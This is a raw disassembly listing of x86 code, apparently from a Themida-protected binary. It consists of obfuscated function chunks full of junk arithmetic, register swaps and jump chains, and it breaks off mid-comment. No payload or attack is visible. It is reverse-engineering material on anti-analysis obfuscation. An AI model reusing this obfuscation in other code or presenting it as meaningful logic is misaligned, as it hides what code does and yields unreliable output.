mov ecx, [esp-8+arg_4] add esp, 4 push ecx push edx push ebp push 288E08A1h pop ebp not ebp jmp loc_572EB8 ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_566808: ; CODE XREF: sub_574304-376Aj push 6F7368D4h mov eax, [esp+18h+var_18] add esp, 4 dec eax neg eax xor eax, 0CCF3B071h mov ecx, eax pop eax jmp loc_560B30 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5735AA loc_566823: ; CODE XREF: sub_5735AA-C5E9j xchg ebp, [esp+0] mov esp, [esp+0] sub esp, 4 mov [esp+4+var_4], eax jmp sub_570F82 ; --------------------------------------------------------------------------- loc_566837: ; CODE XREF: sub_5735AA-E402j pop esi jmp loc_566F9D ; END OF FUNCTION CHUNK FOR sub_5735AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_56683D: ; CODE XREF: sub_574F16-E5BCj push ecx mov cl, bh mov al, cl jmp loc_56F860 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_566847: ; CODE XREF: sub_56241E+11474j add dx, 472Ah add dx, 5633h mov ax, word ptr [esp+8+var_8] add esp, 2 sub esp, 2 mov word ptr [esp+8+var_8], di mov di, 7976h sub ax, 77ACh add ax, di push esi jmp loc_56C667 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_566873: ; CODE XREF: sub_569AB3-60EEj add esp, 4 pop [esp+0Ch+var_C] pop esp jmp loc_56DF77 ; END OF FUNCTION CHUNK FOR sub_569AB3 ; =============== S U B R O U T I N E ======================================= sub_566882 proc near ; DATA XREF: Themida_:0055FD54o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056F11E SIZE 00000014 BYTES mov cx, [esp+0] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_56F11E sub_566882 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56689A: ; CODE XREF: sub_574656-7486j mov edx, [esp+8+var_8] jmp loc_571C8B ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5668A2: ; CODE XREF: sub_57354D-95A2j xor ebp, ecx mov ecx, [esp+10h+var_10] add esp, 4 sub eax, 70F5A67h add eax, ebp add eax, 70F5A67h pop ebp sub eax, 4 jmp loc_56D7EC ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56351E loc_5668C4: ; CODE XREF: sub_56351E+F02Fj sub ebp, ecx pop ecx add ecx, ebp pop ebp xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] jmp loc_572D00 ; END OF FUNCTION CHUNK FOR sub_56351E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C38F loc_5668D8: ; CODE XREF: sub_56C38F-9507j mov ebx, 0 push 241h mov [esp+4+var_4], ebp mov ebp, 67A42300h sub ebx, ebp pop ebp add ebx, eax jmp loc_566CED ; END OF FUNCTION CHUNK FOR sub_56C38F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5668F4: ; CODE XREF: sub_5678CB+3905j push edx jmp loc_571A0D ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_5668FA: ; CODE XREF: sub_566C83-4B63j add esp, 4 sub ebx, 7160765h sub ebx, esi push esi jmp loc_56A1AE ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56690B: ; CODE XREF: sub_574304-4902j pop ebp jmp loc_56E1AE ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5733CA loc_566911: ; CODE XREF: sub_5733CA-10B54j xchg ecx, [esp+0] jmp loc_560B9A ; END OF FUNCTION CHUNK FOR sub_5733CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_566919: ; CODE XREF: sub_563A7F+CD20j add dl, 12h sub dl, 0DFh sub dl, cl add dl, 0DFh sub dl, 12h jmp loc_561C19 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570C6A loc_56692C: ; CODE XREF: sub_570C6A-16FCj push [esp+4+var_4] pop ebp jmp loc_5657D6 ; END OF FUNCTION CHUNK FOR sub_570C6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680AC loc_566935: ; CODE XREF: sub_5680AC+6F48j add ebx, edx mov edx, [esp+0] push eax mov eax, esp add eax, 4 push ebx mov ebx, 4 jmp loc_562652 ; END OF FUNCTION CHUNK FOR sub_5680AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_56694D: ; CODE XREF: sub_574F16-2A2Bj mov bh, 0ABh push ebx mov bh, 98h push 293Eh mov [esp+0Ah+var_A], eax jmp loc_56683D ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56695F: ; CODE XREF: sub_564D26+7FC9j add ecx, ebp pop ebp add ecx, 4 xchg ecx, [esp+14h+var_14] pop esp push ebp mov ebp, 271D0A46h xor edx, ebp pop ebp jmp loc_561FA4 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56697A: ; CODE XREF: sub_57354D-DBE1j push edx pop eax pop edx xor edx, eax xor eax, edx jmp loc_56CBFB ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_566986: ; CODE XREF: sub_561027+B4C7j pop ecx push 71E2h mov [esp+14h+var_14], edi jmp loc_56254A ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_566994: ; CODE XREF: sub_5648C6+10044j add eax, 2BD7774Ah dec eax xor eax, 4D0E5F74h jmp loc_56E2E0 ; END OF FUNCTION CHUNK FOR sub_5648C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_5669A4: ; CODE XREF: sub_571C93-52CEj add edx, 4 xchg edx, [esp+4+var_4] jmp loc_5627E1 ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_5669B2: ; CODE XREF: sub_56B06D-13EAj pop edi pop [esp+18h+var_18] add [esp+14h+var_14], 4 mov esi, [esp+14h+var_14] add esp, 4 sub esp, 4 jmp loc_56B377 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_5669CE: ; CODE XREF: sub_56657A+11D9j mov [esp+0Ch+var_C], eax mov eax, 56380662h jmp loc_56CBD5 ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_5669DB: ; CODE XREF: sub_571F6F-1A0Dj push 6B83h mov [esp+8+var_8], edx mov dh, 2Fh jmp loc_56382C ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_5669EA: ; CODE XREF: sub_5620B7+9042j add edx, esi jmp loc_56FB51 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_5669F1: ; CODE XREF: sub_570732-E4B9j push eax mov eax, 37443EA8h sub edx, 1B5A38C9h add edx, eax add edx, 1B5A38C9h pop eax sub edx, 58A1139Fh inc edx sub edx, 624D105Fh add ebp, edx jmp loc_56FDF5 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_566A1A: ; CODE XREF: sub_571088-2526j add al, 0C3h sub al, 3Fh push cx mov ch, 71h jmp loc_56F0EB ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_566A27: ; CODE XREF: sub_57523A-10AF9j sub edi, ecx jmp loc_5730DA ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_566A2E: ; CODE XREF: sub_56B1DC+3j push eax sub esp, 4 mov [esp+8+var_8], esp jmp loc_57317E ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- loc_566A3A: ; CODE XREF: Themida_:00570204j add edx, ebx jmp loc_56DE44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_566A41: ; CODE XREF: sub_56B1DC-A2A3j pop [esp+8+var_8] mov esp, [esp+4+var_4] push [esp-4+arg_0] push dword ptr [esp+0] mov eax, [esp+4+var_4] jmp loc_5754A2 ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- loc_566A55: ; CODE XREF: Themida_:0056E3F0j xchg esi, [esp] jmp loc_565112 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_566A5D: ; CODE XREF: sub_56B1DC-298Ej shl ebx, 4 jmp loc_5693A1 ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_566A65: ; CODE XREF: sub_566400-1B9j add esp, 4 sub eax, 245C24C6h add eax, ebx jmp loc_562E98 ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_566A74: ; CODE XREF: sub_566117+7C38j add ebx, edi push ecx push 452Ah mov [esp+14h+var_14], ebp jmp loc_568146 ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574AF3 loc_566A84: ; CODE XREF: sub_574AF3+7j mov eax, esp add eax, 4 push esi mov esi, 4 jmp loc_567037 ; END OF FUNCTION CHUNK FOR sub_574AF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F782 loc_566A96: ; CODE XREF: sub_56F782-B3BEj push eax mov eax, esp jmp sub_575328 ; END OF FUNCTION CHUNK FOR sub_56F782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FCD7 loc_566A9E: ; CODE XREF: sub_56FCD7-811Ej sub ebp, 4 xchg ebp, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], edx jmp loc_561EF3 ; END OF FUNCTION CHUNK FOR sub_56FCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_566AB0: ; CODE XREF: sub_574304-13E8j pop ebp add ebp, 4 sub ebp, 4 push ebp push [esp+8+var_4] pop ebp pop [esp+8+var_8] jmp loc_56A865 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_566ACB: ; CODE XREF: sub_56FA15+5941j pop esp add al, 37h add al, bl jmp loc_567AAD ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_566AD5: ; CODE XREF: sub_5634AF+1122j push edi mov edi, 70456D7Bh xor esi, edi pop edi push esi inc [esp+4+var_4] pop esi shr esi, 6 sub esi, 0F78921D5h jmp loc_56C11D ; END OF FUNCTION CHUNK FOR sub_5634AF ; =============== S U B R O U T I N E ======================================= sub_566AF1 proc near ; DATA XREF: Themida_:0055FDDCo push dword ptr [edi+2Ch] jmp loc_55FF9F sub_566AF1 endp ; =============== S U B R O U T I N E ======================================= sub_566AF9 proc near ; DATA XREF: Themida_:0055FED0o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005604F2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00560536 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00561810 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00564259 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00564449 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00564BA3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00569125 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005695B8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056BFE7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056C6F8 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056F59C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00574A9A SIZE 0000000A BYTES mov cx, [esp+0] push ebp push esp mov ebp, [esp+8+var_8] add esp, 4 push edx jmp loc_56F59C sub_566AF9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_566B0E: ; CODE XREF: sub_572DD7-9D1Fj mov esi, 11F36176h xor esi, 7FC631AAh add esi, 91CAAF28h add edi, esi jmp loc_5728A1 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_566B26: ; CODE XREF: sub_574304+40Dj push ecx jmp loc_560EB8 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_566B2C: ; CODE XREF: sub_561F05-AD5j push esi mov esi, 5E17401Dh jmp loc_571482 ; END OF FUNCTION CHUNK FOR sub_561F05 ; =============== S U B R O U T I N E ======================================= sub_566B37 proc near ; CODE XREF: sub_56D455-7A28j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560385 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00562B6D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056518D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005670F8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056855F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00568E99 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00572D08 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00574343 SIZE 00000008 BYTES push ebp push edx mov edx, 72997EABh mov ebp, edx pop edx or eax, ebp jmp loc_562B6D sub_566B37 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_566B48: ; CODE XREF: sub_56CC46-C165j mov [esp+0], eax jmp loc_567072 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_566B50: ; CODE XREF: sub_574F16-DBADj xor cl, dh xor dh, cl xor cl, dh dec cl push edx mov dl, 0F1h xor cl, dl pop edx and dl, cl pop ecx push small 0 add byte ptr [esp+6+var_6], 0F9h sub byte ptr [esp+6+var_6], dl jmp loc_57400C ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_566B71: ; CODE XREF: sub_569193-17D2j mov [esp+10h+var_10], edi jmp loc_56E916 ; END OF FUNCTION CHUNK FOR sub_569193 ; =============== S U B R O U T I N E ======================================= sub_566B79 proc near ; CODE XREF: sub_563ADF+FED0j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00562541 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00564905 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056EEE7 SIZE 0000001A BYTES sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 4 sub dword ptr [esp+4], 6D251A85h jmp loc_56EEE7 sub_566B79 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_566B94: ; CODE XREF: sub_574A21-C104j mov ecx, eax pop eax jmp loc_56838D ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_566B9C: ; CODE XREF: sub_572075-F9C4j pop [esp+8+var_8] pop esp jmp loc_571ADA ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_566BA5: ; CODE XREF: sub_57354D-3E4Aj push ecx mov ecx, 411A527Ch jmp loc_56B4E5 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_566BB0: ; CODE XREF: sub_5734A7-82A6j push eax mov eax, 4 add edi, eax pop eax add edi, 4 push 3B02h mov [esp+14h+var_14], edi push [esp+14h+var_10] jmp loc_56676E ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_566BCD: ; CODE XREF: sub_56BD44-8D60j add esp, 4 jmp loc_56068D ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C0A loc_566BD8: ; CODE XREF: sub_571C0A-9A5j sub edx, 38290EA0h add edx, edi add edx, 38290EA0h xor [edx], ecx push [esp+8+var_8] pop edx push edi jmp loc_568F03 ; END OF FUNCTION CHUNK FOR sub_571C0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_566BF2: ; CODE XREF: sub_569DB5+76B3j add ecx, 4 push edx jmp loc_572470 ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_566BFE: ; CODE XREF: sub_571088-61CBj add esp, 4 jmp loc_566DE6 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_566C09: ; CODE XREF: sub_5713A7+1532j add edx, edi push ecx jmp loc_5618F3 ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_566C11: ; CODE XREF: sub_571F6F-8F64j add esp, 4 add bl, 4Ah jmp loc_572A65 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5684A6 loc_566C1C: ; CODE XREF: sub_5684A6-73ADj add [esp+8+var_8], 4 mov esi, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], ecx jmp loc_560232 ; END OF FUNCTION CHUNK FOR sub_5684A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_566C3A: ; CODE XREF: sub_568646+CD16j mov cl, 0D6h xor cl, 12h mov al, cl mov ecx, [esp-4+arg_0] add esp, 4 sub cl, al pop eax mov dl, cl pop ecx jmp loc_56ED17 ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_566C55: ; CODE XREF: sub_567D31+A8A0j add esp, 4 push edx push esp mov edx, [esp+0] add esp, 4 jmp sub_564D26 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_566C6B: ; CODE XREF: sub_564D26+7B71j pop ecx shl edx, 4 or edx, 6F1E5F53h push 55F7h mov [esp+18h+var_18], ecx push ebp jmp loc_5658B0 ; END OF FUNCTION CHUNK FOR sub_564D26 ; =============== S U B R O U T I N E ======================================= sub_566C83 proc near ; CODE XREF: sub_56D1DD-8A3Dj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560007 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00560655 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00560BC7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056211C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005629E1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005630D8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005668FA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00566E28 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00568AD9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00569385 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056A1AE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056A763 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056AD9B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056B3FD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00571011 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00572C7C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005741C9 SIZE 00000012 BYTES push ebx mov ebx, 2EAF1D22h xor ebx, 3A0701A0h or ebx, 627E5893h add ebx, 9F7BCFC3h sub ebp, ebx jmp loc_569385 sub_566C83 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C38F loc_566CA2: ; CODE XREF: sub_56C38F-5692j push 41A7h jmp loc_56F790 ; END OF FUNCTION CHUNK FOR sub_56C38F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_566CAC: ; CODE XREF: sub_569DB5-7313j add [esp+8+var_4], ebx jmp loc_563197 ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_566CB5: ; CODE XREF: sub_57354D-8376j add esi, 4 push ebp push 56B5h mov [esp+10h+var_10], ecx jmp loc_56AD2E ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570B3C loc_566CC9: ; CODE XREF: sub_570B3C-73F1j push 17D1h mov [esp+0], ebx jmp loc_56D7C5 ; END OF FUNCTION CHUNK FOR sub_570B3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_566CD6: ; CODE XREF: sub_572DD7-127j push edx push eax push 7214131Dh jmp loc_568A25 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_566CE2: ; CODE XREF: sub_569CBC+B24Aj add ebx, 4 jmp sub_560457 ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C38F loc_566CED: ; CODE XREF: sub_56C38F-5AA0j push 2409h mov [esp+4+var_4], edx mov edx, 67A42300h add ebx, edx pop edx jmp loc_566CA2 ; END OF FUNCTION CHUNK FOR sub_56C38F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5722C8 loc_566D02: ; CODE XREF: sub_5722C8+7C2j mov ecx, 4 add edi, ecx jmp loc_56D503 ; END OF FUNCTION CHUNK FOR sub_5722C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C4FF loc_566D0E: ; CODE XREF: sub_56C4FF-BCC0j sub edx, 6C3E1462h mov ecx, edx jmp loc_571C75 ; END OF FUNCTION CHUNK FOR sub_56C4FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_566D1B: ; CODE XREF: sub_5713A7+91Bj add edx, eax jmp loc_56D244 ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_566D22: ; CODE XREF: sub_5685B2+99D3j mov ebp, [esp-4+arg_0] jmp loc_56C028 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_566D2A: ; CODE XREF: sub_5678CB+3050j mov ax, word ptr [esp+0Ah+var_A] push ebx jmp loc_56CE33 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_566D34: ; CODE XREF: sub_5605BC+39C7j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+28h+var_28] jmp loc_569C42 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D464 loc_566D4A: ; CODE XREF: sub_56D464+39E8j push 31CCh jmp loc_56A486 ; END OF FUNCTION CHUNK FOR sub_56D464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_566D54: ; CODE XREF: sub_568E5C+A6ECj neg ebx sub ebx, 20804204h add edx, ebx pop ebx sub edx, 0B519BB1Dh mov edi, edx jmp loc_5714E0 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_566D6C: ; CODE XREF: sub_566117-43j add ebx, ecx jmp loc_569BC4 ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_566D73: ; CODE XREF: sub_5738F4-68E7j add edi, 404A0B2Ah jmp loc_5612AD ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_566D7E: ; CODE XREF: sub_569AB3+AC44j push dword ptr [edi+24h] push 5FF8h mov [esp+0Ch+var_C], ebp push edi push ebp push 5FA2h mov [esp+18h+var_18], esp add [esp+18h+var_18], 4 jmp loc_56AE6B ; END OF FUNCTION CHUNK FOR sub_569AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572D45 loc_566D9F: ; CODE XREF: sub_572D45+109Fj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+10h+var_10] mov esp, [esp+10h+var_10] add ebx, esi push [esp+4+var_4] pop esi add esp, 4 add ebx, 2 jmp loc_5705A9 ; END OF FUNCTION CHUNK FOR sub_572D45 ; =============== S U B R O U T I N E ======================================= sub_566DC7 proc near ; CODE XREF: sub_56D3B7-76E1j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005607B8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00562EE4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00563CB9 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00566543 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00568C82 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00569FD6 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056D92E SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056E195 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056FF2B SIZE 00000012 BYTES push ebx jmp loc_56D92E sub_566DC7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568CD2 loc_566DCD: ; CODE XREF: sub_568CD2-1AF6j mov ebp, [esp+0] add esp, 4 jmp loc_572054 ; END OF FUNCTION CHUNK FOR sub_568CD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_566DDB: ; CODE XREF: sub_560844+90BBj mov ebx, 28E3DD30h push ebx jmp loc_570CA7 ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_566DE6: ; CODE XREF: sub_571088-A484j add al, 3Fh push ecx mov cl, 91h sub cl, 2Ah xor cl, 0F6h push bx mov bh, 0B2h xor cl, bh pop bx jmp loc_570B5F ; END OF FUNCTION CHUNK FOR sub_571088 ; =============== S U B R O U T I N E ======================================= sub_566DFE proc near ; CODE XREF: sub_56351E+5A60j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00561E2F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00564A38 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005673AB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00567A5A SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056CC82 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056D4EA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056E7E5 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057149C SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005719A5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00572864 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0057340C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005746BE SIZE 0000001D BYTES sub esp, 4 jmp loc_56CC82 sub_566DFE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B310 loc_566E06: ; CODE XREF: sub_56B310-381Aj xor edi, [esp+0] xor [esp+0], edi xor edi, [esp+0] pop esp ror [esp-4+arg_0], cl pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR 